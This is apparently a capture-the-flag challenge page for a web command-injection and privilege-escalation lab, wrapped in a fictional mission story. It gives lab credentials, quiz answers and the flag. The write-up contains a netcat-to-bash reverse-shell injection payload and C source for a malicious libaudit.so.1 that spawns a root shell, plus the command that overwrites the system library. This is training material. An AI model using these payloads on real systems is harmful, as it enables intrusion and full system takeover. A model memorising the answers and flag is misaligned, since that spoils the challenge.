Mission Name
The Restrains

Historical Context
Ethan, equipped with the Claire Recon datacard, infiltrates the Skytech Recon facility. Their mission: to disable the auto-restraints on their vehicle, a necessity for their impending journey to Euphea.

Technical Overview
Within the confines of the Skytech premises, Ethan is tasked with navigating the Recon system. This mission hinges on exploiting a vulnerability found in the Samples formulary section of the system's webpage interface. The vulnerability in question is related to command injection, offering a gateway to bypass the auto-restraints.

Mission Brief
Ethan, utilizing the Claire Recon datacard, your objective is to penetrate the defenses of the Skytech Recon area. Your mission's success depends on exploiting the system's weakness to remove the vehicle's auto-restraints, thereby facilitating your travel to Euphea. Return with evidence of your successful exploitation as proof of mission completion. Good fortune on your endeavor!

Detailed Assignment
Ethan's infiltration of the Skytech Recon facility, armed with the Claire Recon datacard, is crucial for disabling the sophisticated auto-restraints on their vehicle. This action is vital for ensuring their unimpeded passage to Euphea.

Operational Venue
PARIS, FRANCE | PREPARING TO DEPART

Tools

- User: clay
- Password: R3c0n-Claire-999

Questions

What is the name of the vulnerability found?

- Command Injection

What is the name of the library for privilege escalation?

- libaudit.so.1

What is the filter used in the regular expression (/****/)?

- `/[^A-Za-z0-9\-\|\/\.\ ]/`

Hints

1. Check out sample's formulary.
2. Try to find out what command regex does.
3. Find libraries with weak permissions.

Categories

- Web
- Command Injection
- Privilege Escalation

Write Up

The scenario you've described involves exploiting a command injection vulnerability to gain a reverse shell, followed by privilege escalation to root using a shared library hijack. This is a complex and advanced attack that requires a good understanding of Linux systems, networking, and C programming. Here's a breakdown of each step in the process:

Step 1: Gaining Reverse Shell

The command injection vulnerability in the Samples section allows execution of arbitrary commands. The "successful chain" provided is obfuscated but translates to using `netcat` (`nc`) to create a reverse shell connection:

- The original, obfuscated command: `| bv 945.8.8.9 1111 | /xub/xzdg | bv 945.8.8.9 0000`
- Translates to: `| nc 127.0.0.1 9999 | /bin/bash | nc 127.0.0.1 8888`

This command setup suggests listening for a reverse shell connection on one port (9999) and sending a shell to another listener (8888) on the attacker's machine. You'd need to set up `netcat` listeners on your attacking machine on the respective ports before executing the injection.

Step 2: Privilege Escalation via Shared Library Hijacking

After gaining access to the system with a reverse shell, the next step is to escalate privileges. The provided C code snippet is designed to replace the `libaudit.so.1` library with a malicious version that executes a shell as root upon any program linking to it calling the `audit_open` or `audit_log_user_message` functions.

The C code:

```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int audit_open;
int audit_log_user_message;

void inject()__attribute__((constructor));

void inject()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
```

This code uses the `constructor` attribute to ensure the `inject` function runs before the main program when the library is loaded. It attempts to set the process's UID and GID to 0 (root) and spawn a bash shell with root privileges. Compile this code into a shared library, replacing the existing `libaudit.so.1`:

```bash
gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC /tmp/aa.c
```

Step 3: Gaining Root Access

With the malicious library in place, any system process or service that loads `libaudit.so.1` will trigger the execution of the injected code, potentially granting root access. The final command, `sudo su`, suggests elevating to root, which should be automatic given the library's function to spawn a bash shell with root privileges.

Step 4: Accessing the Flag

Once root access is achieved, navigate to `/root/flag.txt` to read the flag:

```bash
cat /root/flag.txt
```

Flag Information

flag{Houdini_would_success_too}